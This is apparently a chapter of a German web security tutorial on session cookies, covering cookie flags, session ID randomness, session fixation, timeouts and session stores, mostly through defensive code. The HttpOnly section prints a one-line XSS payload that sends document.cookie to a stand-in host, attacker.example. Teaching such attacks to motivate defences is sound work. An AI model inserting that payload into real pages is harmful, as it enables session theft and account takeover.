Session-Cookies

Cookie-Flags im Überblick

Minimal-Konfiguration für ein modernes Session-Cookie:

Set-Cookie: __Host-sessionId=opaque-random; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400

Das __Host--Präfix erzwingt Browser-seitig: Secure, Path=/, kein Domain-Attribut. Maximal-restriktiv, garantiert dass das Cookie nur für diesen exakten Host gilt.

HttpOnly — gegen XSS-Cookie-Diebstahl

Ohne HttpOnly kann JavaScript via document.cookie das Session-Cookie lesen. Bei einer XSS-Lücke liest der Angreifer-Code die Session-ID aus und sendet sie an einen kontrollierten Server — Account-Übernahme.

// Eingeschleuster XSS-Payload
new Image().src = 'https://attacker.example/?c=' + document.cookie;
// attacker sieht die volle Cookie-Liste im Server-Log

Mit HttpOnly wirft document.cookie keinen Fehler, gibt aber das geschützte Cookie nicht zurück — JavaScript hat keinen Zugriff.

Konsequenz für Auth-Architektur: Session-Cookies immer HttpOnly. Wenn die SPA selbst die Session-ID lesen muss (für CSRF-Token-Setup), ist die Architektur falsch — der Server soll das CSRF-Token in einem separaten, lesbaren Cookie oder als Response-Header senden.

Was HttpOnly NICHT verhindert:

• Cookie via XSS senden — wenn der Angreifer-Code fetch('/api/transfer', { credentials: 'include' }) aufruft, schickt der Browser das Cookie automatisch mit. Vertieft in csrf-grundlagen.
• CSRF-Klasse — SameSite ist die separate Schutz-Schicht dafür.

Secure — gegen Netzwerk-Sniffing

Secure weist den Browser an, das Cookie nur über HTTPS zu senden. Ohne Secure-Flag würde der Browser das Cookie auch über HTTP übertragen — was bei automatischer Weiterleitung HTTP → HTTPS einen kurzen Zeitraum lässt, in dem das Cookie im Klartext geht.

Pflicht für jedes Auth-Cookie. Über HTTPS ist das Cookie ohnehin geschützt; das Flag verhindert nur die HTTP-Variante.

Bei lokalem Dev-Setup ohne HTTPS:

• Im Dev-Mode mit localhost ist Secure browser-seitig auch ohne HTTPS akzeptiert (Chromium ab v89).
• Andere Hosts (z. B. 192.168.1.x) brauchen TLS-Setup (mkcert) oder Dev-only-Override.

SameSite — gegen CSRF

SameSite steuert, ob der Browser das Cookie bei Cross-Site-Requests mitschickt.

Faustregel:

• Klassische Login-Cookies: SameSite=Lax als Default. Reicht für 99 % der CSRF-Klassen.
• Sehr sensitive Operationen (Banking, Admin-Panel): SameSite=Strict — User muss dann nach Klick auf externen Link nochmal einloggen, was bewusste Entscheidung ist.
• 3rd-Party-Embed-Use-Cases (Login-Widget auf Partner-Site): SameSite=None; Secure. Aber: Storage-Partitioning ändert das Modell seit 2024 — vertieft in samesite-cookies (Kap 12).

Wichtig: SameSite=Lax ist kein vollständiger CSRF-Schutz. GET-Requests mit Side-Effects (z. B. /logout-Link, /delete?id=...) sind weiterhin angreifbar. Vertieft in csrf-tokens-und-double-submit.

Session-ID — wie zufällig ist genug?

Eine Session-ID ist ein Bearer-Token — wer sie hat, ist eingeloggt. Die ID muss:

• Kryptografisch zufällig sein — niemals sequenziell, niemals von User-Daten abgeleitet, niemals UUIDv1 (Zeit-basiert).
• Mindestens 128 Bit Entropie haben (OWASP-Mindeststandard); 256 Bit sind heute üblich.
• Nicht enumerierbar sein — niemand soll aus einer gültigen ID die nächste raten können.

Beispiel-Implementierung:

const crypto = require('crypto');

// 32 Bytes = 256 Bit Entropie
function newSessionId() {
  return crypto.randomBytes(32).toString('base64url');
  // Ergebnis ~43 Zeichen URL-safe
}

import secrets
session_id = secrets.token_urlsafe(32)  # 32 Bytes = 256 Bit

Niemals selbst rollen:

• UUIDv4 ist zwar zufällig, aber nur 122 Bit Entropie und für viele Library-Implementierungen Standard-erwartet — okay als Fallback, nicht ideal.
• UUIDv7 (Zeit-basiert mit Random-Anteil) ist gut für Datenbank-Primary-Keys, nicht für Session-IDs.
• MD5(timestamp + userid) und ähnliche Konstrukte sind ratbar — Anti-Pattern.

Session-Fixation

Session-Fixation ist ein Angriff, bei dem der Angreifer dem Opfer eine vorbereitete Session-ID unterschiebt — und nach dem Login des Opfers diese ID selbst nutzt.

Klassischer Ablauf:

1. Angreifer holt sich eine Session-ID von der Ziel-App (z. B. anonymer Warenkorb-Session).
2. Angreifer bringt das Opfer dazu, mit dieser Session-ID die Seite zu besuchen (Phishing-Link mit Session-ID in URL, Set-Cookie via XSS).
3. Opfer loggt sich ein — Server hält die bestehende Session-ID und upgradet sie zu „authenticated".
4. Angreifer hat dieselbe Session-ID, ist jetzt eingeloggt als Opfer.

Schutz: Session-Rotation nach Login.

app.post('/login', async (req, res) => {
  // ... Auth-Check ...

  // KRITISCH: bestehende Session zerstören, neue erzeugen
  await sessionStore.destroy(req.cookies.sessionId);
  const newSessionId = crypto.randomBytes(32).toString('base64url');
  await sessionStore.set(newSessionId, {
    userId: user.id,
    createdAt: Date.now(),
  });

  res.cookie('sessionId', newSessionId, {
    httpOnly: true, secure: true, sameSite: 'lax',
  });
  res.json({ ok: true });
});

Auch beim Privilege-Escalation (User wird zu Admin, MFA-Step abgeschlossen, Re-Auth) — neue Session-ID generieren. Verhindert, dass eine geleakte „normale" Session-ID nach Privilege-Erhöhung weiter gilt.

Standard-Frameworks machen das oft automatisch — z. B. Devise (Rails), Django Auth, Spring Security. Custom-Code muss es explizit.

Session-Lebenszyklus

Eine Session braucht klare Regeln für Ablauf und Invalidierung.

const SESSION_ABSOLUTE_TTL = 24 * 60 * 60 * 1000;       // 24 Stunden
const SESSION_IDLE_TTL = 30 * 60 * 1000;                // 30 Minuten Idle
const SESSION_REAUTH_FOR_SENSITIVE = 5 * 60 * 1000;     // 5 Minuten

function isSessionValid(session) {
  const now = Date.now();
  if (now - session.createdAt > SESSION_ABSOLUTE_TTL) return false;
  if (now - session.lastActivity > SESSION_IDLE_TTL) return false;
  return true;
}

// Bei jedem Request: lastActivity aktualisieren
function updateActivity(session) {
  session.lastActivity = Date.now();
}

// Explizite Logout-Funktion: Session aus Store löschen
async function logout(sessionId) {
  await sessionStore.destroy(sessionId);
  // Cookie clearen
  res.clearCookie('sessionId');
}

Pattern-Empfehlungen:

• Idle-Timeout: 15–60 Minuten je nach Sensitivität. Banking: 5–10 Min. Standard-Web-App: 30 Min. Social Media: stundenlang.
• Absolute-Timeout: 12–24 Stunden für Web-Apps; 7 Tage für „Remember me"-Funktion mit niedrigeren Privilegien.
• Logout-on-everywhere: Session-Store muss alle Sessions eines Users auf einmal invalidieren können (für „Aus allen Geräten ausloggen"-Feature).

Session-Store-Architektur

Wo werden Sessions gespeichert?

Empfehlung für die meisten Apps: Redis als Session-Store. Schnell genug, Skalierungs-fähig, TTL eingebaut. Bei Single-Server-Setup geht auch In-Memory (express-session mit MemoryStore) — Logout bei Restart akzeptabel.

Multi-Region-Apps: Session-Store regional, Cookie mit User-Location → Routing zur richtigen Region. Oder vollständig stateless mit JWT (siehe jwt-stateless-tokens).

Weiterführende Ressourcen

Externe Quellen

• OWASP Session Management Cheat Sheet
• RFC 6265 — HTTP State Management Mechanism (Cookies)
• RFC 6265bis — Cookies (Update)
• MDN Set-Cookie
• web.dev — SameSite Cookies Explained
• MDN — Partitioned Cookies (CHIPS)

Verwandte Artikel

• Auth-Grundlagen
• Passwort-Hashing
• JWT und Stateless Tokens
• SameSite-Cookies (Kap 12)
• CSRF-Grundlagen (Kap 12)
• Cookie-Flags und Attribute (Kap 16)